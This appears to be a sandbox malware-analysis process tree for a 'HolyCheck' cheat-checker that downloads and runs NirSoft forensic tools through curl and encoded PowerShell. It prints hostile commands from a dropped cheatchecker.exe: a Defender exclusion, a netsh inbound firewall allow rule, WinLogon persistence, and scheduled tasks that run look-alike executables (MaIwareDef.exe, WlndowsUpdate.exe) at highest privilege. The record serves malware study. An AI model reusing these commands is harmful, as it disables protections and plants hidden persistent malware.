    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2028
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlAD0AJwBTAHQAbwBwACcAOwAgAHQAcgB5ACAAewAgAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAgAH0AIABjAGEAdABjAGgAIAB7AH0AOwAgAHQAcgB5ACAAewAgAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADEAIAAtAGIAbwByACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAgAH0AIABjAGEAdABjAGgAIAB7AH0AOwAgACQAdQByAGwAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAG4AaQByAHMAbwBmAHQALgBuAGUAdAAvAHUAdABpAGwAcwAvAGIAcgBvAHcAcwBlAHIAZABvAHcAbgBsAG8AYQBkAHMAdgBpAGUAdwAuAHoAaQBwACcAOwAgACQAbwB1AHQAPQAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEQAbwB3AG4AbABvAGEAZABzAFwAaABvAGwAeQBjAGgAZQBjAGsAXAAcBDsELgBBBD4EQgRABEMENAQ9BDgEOgRcAGIAcgBvAHcAcwBlAHIAZABvAHcAbgBsAG8AYQBkAHMAdgBpAGUAdwAuAHoAaQBwAC4AcABhAHIAdAAnADsAIAAkAHUAYQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAAMQAwAC4AMAA7ACAAVwBpAG4ANgA0ADsAIAB4ADYANAApACAAQQBwAHAAbABlAFcAZQBiAEsAaQB0AC8ANQAzADcALgAzADYAIAAoAEsASABUAE0ATAAsACAAbABpAGsAZQAgAEcAZQBjAGsAbwApACAAQwBoAHIAbwBtAGUALwAxADIANAAuADAAIABTAGEAZgBhAHIAaQAvADUAMwA3AC4AMwA2ACcAOwAgAHQAcgB5ACAAewAgACQAaABhAG4AZABsAGUAcgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAEgAdAB0AHAAQwBsAGkAZQBuAHQASABhAG4AZABsAGUAcgA7ACAAJABoAGEAbgBkAGwAZQByAC4AQQBsAGwAbwB3AEEAdQB0AG8AUgBlAGQAaQByAGUAYwB0AD0AJAB0AHIAdQBlADsAIAAkAGMAbABpAGUAbgB0AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4ASAB0AHQAcABDAGwAaQBlAG4AdAAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAGgAYQBuAGQAbABlAHIAOwAgACQAYwBsAGkAZQBuAHQALgBUAGkAbQBlAG8AdQB0AD0AWwBUAGkAbQBlAFMAcABhAG4AXQA6ADoARgByAG8AbQBTAGUAYwBvAG4AZABzACgAMwAwADAAKQA7ACAAJABjAGwAaQBlAG4AdAAuAEQAZQBmAGEAdQBsAHQAUgBlAHEAdQBlAHMAdABIAGUAYQBkAGUAcgBzAC4AVQBzAGUAcgBBAGcAZQBuAHQALgBQAGEAcgBzAGUAQQBkAGQAKAAkAHUAYQApADsAIAAkAGMAbABpAGUAbgB0AC4ARABlAGYAYQB1AGwAdABSAGUAcQB1AGUAcwB0AEgAZQBhAGQAZQByAHMALgBBAGMAYwBlAHAAdAAuAFAAYQByAHMAZQBBAGQAZAAoACcAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AbwBjAHQAZQB0AC0AcwB0AHIAZQBhAG0AJwApADsAIAAkAGMAbABpAGUAbgB0AC4ARABlAGYAYQB1AGwAdABSAGUAcQB1AGUAcwB0AEgAZQBhAGQAZQByAHMALgBBAGMAYwBlAHAAdAAuAFAAYQByAHMAZQBBAGQAZAAoACcAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AegBpAHAAJwApADsAIAAkAGMAbABpAGUAbgB0AC4ARABlAGYAYQB1AGwAdABSAGUAcQB1AGUAcwB0AEgAZQBhAGQAZQByAHMALgBBAGMAYwBlAHAAdAAuAFAAYQByAHMAZQBBAGQAZAAoACcAKgAvACoAJwApADsAIAAkAHIAZQBzAHAAPQAkAGMAbABpAGUAbgB0AC4ARwBlAHQAQQBzAHkAbgBjACgAJAB1AHIAbAAsAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAEgAdAB0AHAALgBIAHQAdABwAEMAbwBtAHAAbABlAHQAaQBvAG4ATwBwAHQAaQBvAG4AXQA6ADoAUgBlAHMAcABvAG4AcwBlAEgAZQBhAGQAZQByAHMAUgBlAGEAZAApAC4ARwBlAHQAQQB3AGEAaQB0AGUAcgAoACkALgBHAGUAdABSAGUAcwB1AGwAdAAoACkAOwAgACQAcgBlAHMAcAAuAEUAbgBzAHUAcgBlAFMAdQBjAGMAZQBzAHMAUwB0AGEAdAB1AHMAQwBvAGQAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHMAdAByAGUAYQBtAD0AJAByAGUAcwBwAC4AQwBvAG4AdABlAG4AdAAuAFIAZQBhAGQAQQBzAFMAdAByAGUAYQBtAEEAcwB5AG4AYwAoACkALgBHAGUAdABBAHcAYQBpAHQAZQByACgAKQAuAEcAZQB0AFIAZQBzAHUAbAB0ACgAKQA7ACAAJABmAGkAbABlAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AE8AcABlAG4AKAAkAG8AdQB0ACwAWwBJAE8ALgBGAGkAbABlAE0AbwBkAGUAXQA6ADoAQwByAGUAYQB0AGUALABbAEkATwAuAEYAaQBsAGUAQQBjAGMAZQBzAHMAXQA6ADoAVwByAGkAdABlACwAWwBJAE8ALgBGAGkAbABlAFMAaABhAHIAZQBdADoAOgBOAG8AbgBlACkAOwAgACQAYgB1AGYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAxADAANAA4ADUANwA2ADsAIAB0AHIAeQAgAHsAIAB3AGgAaQBsAGUAIAAoACgAJAByAGUAYQBkAD0AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAdQBmACwAMAAsACQAYgB1AGYALgBMAGUAbgBnAHQAaAApACkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGYAaQBsAGUALgBXAHIAaQB0AGUAKAAkAGIAdQBmACwAMAAsACQAcgBlAGEAZAApACAAfQAgAH0AIABmAGkAbgBhAGwAbAB5ACAAewAgACQAZgBpAGwAZQAuAEMAbABvAHMAZQAoACkAOwAgACQAcwB0AHIAZQBhAG0ALgBDAGwAbwBzAGUAKAApADsAIAAkAGMAbABpAGUAbgB0AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAGkAZgAgACgAJAByAGUAcwBwACkAIAB7ACAAJAByAGUAcwBwAC4ARABpAHMAcABvAHMAZQAoACkAIAB9ACAAfQAgAGUAeABpAHQAIAAwACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB0AHIAeQAgAHsAIAAkAHcAYwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1AGEAKQA7ACAAJAB3AGMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAEEAYwBjAGUAcAB0ACcALAAnAGEAcABwAGwAaQBjAGEAdABpAG8AbgAvAG8AYwB0AGUAdAAtAHMAdAByAGUAYQBtACwAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AegBpAHAALAAqAC8AKgAnACkAOwAgACQAdwBjAC4ASABlAGEAZABlAHIAcwAuAEEAZABkACgAJwBBAGMAYwBlAHAAdAAtAEwAYQBuAGcAdQBhAGcAZQAnACwAJwByAHUALQBSAFUALAByAHUAOwBxAD0AMAAuADkALABlAG4ALQBVAFMAOwBxAD0AMAAuADcALABlAG4AOwBxAD0AMAAuADYAJwApADsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJAB1AHIAbAAsACQAbwB1AHQAKQA7ACAAZQB4AGkAdAAgADAAIAB9ACAAYwBhAHQAYwBoACAAewAgAGUAeABpAHQAIAAxACAAfQAgAH0A
    3⤵
    - Badlisted process makes network request
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Loads dropped DLL
      PID:2500
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:2384
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1436
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
    3⤵
    PID:3848
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:5236
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Loads dropped DLL
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4232
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    PID:4796
- - C:\Windows\system32\tar.exe
    C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview
    3⤵
    PID:5328
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    PID:5872
- - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5600
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:5952
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    PID:5524
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    PID:4232
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    PID:3216
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    PID:5796
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    PID:260
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    PID:5600
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    PID:1748
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    PID:1608
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    PID:5928
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
    3⤵
    PID:4360
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
    3⤵
    PID:5460
- - C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
    "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
    3⤵
    PID:4028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\cheatchecker.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Users\Admin\AppData\Local\Temp\cheatchecker.exe
  "C:\Users\Admin\AppData\Local\Temp\cheatchecker.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Executes dropped EXE
  - Drops file in Windows directory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Windows\SYSTEM32\CMD.exe
    "CMD" netsh advfirewall firewall add rule name="!j5=SkZ-S5i SE" dir=in action=allow program="C:\Windows\Sub\MaIwareDef.exe" enable=yes & exit
    3⤵
    PID:1040
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:456
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:476
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3244
- - C:\Windows\Sub\MaIwareDef.exe
    "C:\Windows\Sub\MaIwareDef.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3044
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5252
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 1 /tn "" /tr "C:\Windows\Sub\MaIwareDef.exe" /RL HIGHEST
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4376
  - - C:\Windows\SYSTEM32\cmd.exe
      "cmd" /c schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3760
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc minute /mo 30 /tn "" /tr "C:\Windows\Sub\WlndowsUpdate.exe" /RL HIGHEST
        5⤵
        
        PID:3216

C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
C:\Users\Admin\AppData\Local\Temp\HolyCheck.exe
1⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1256
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
  2⤵
  PID:1948
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip.part https://www.nirsoft.net/utils/executedprogramslist.zip
  2⤵
  PID:2380
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
  2⤵
  PID:5952
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist
  2⤵
  PID:5284
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:692
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview
  2⤵
  PID:1748
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2880
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:4088
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:3056
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip.part https://www.nirsoft.net/utils/browserdownloadsview.zip
  2⤵
  PID:2156
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5900
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview
  2⤵
  PID:3432
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1136
- C:\Windows\system32\curl.exe
  C:\Windows\system32\curl.exe -L --fail --silent --show-error --ssl-no-revoke --tcp-nodelay -C - --retry 1 --retry-delay 1 --retry-connrefused --speed-limit 14336 --speed-time 3 --connect-timeout 5 --max-time 300 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,application/octet-stream,*/*;q=0.8" -H "Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.7,en;q=0.6" -H "Accept-Encoding: identity" -o C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip.part https://www.nirsoft.net/utils/recentfilesview.zip
  2⤵
  PID:1616
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:1868
- C:\Windows\system32\tar.exe
  C:\Windows\system32\tar.exe -xf C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip -C C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview
  2⤵
  PID:3372
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:4604
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Expand-Archive -LiteralPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview.zip' -DestinationPath 'C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview' -Force -ErrorAction Stop; exit 0 } catch { exit 1 }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3244
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  PID:952
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:5948
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\executedprogramslist\ExecutedProgramsList.exe"
  2⤵
  PID:2448
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\browserdownloadsview\BrowserDownloadsView.exe"
  2⤵
  PID:2440
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
  2⤵
  PID:4588
- C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe
  "C:\Users\Admin\Downloads\holycheck\Мл.сотрудник\recentfilesview\RecentFilesView.exe"
  2⤵
  PID:5048
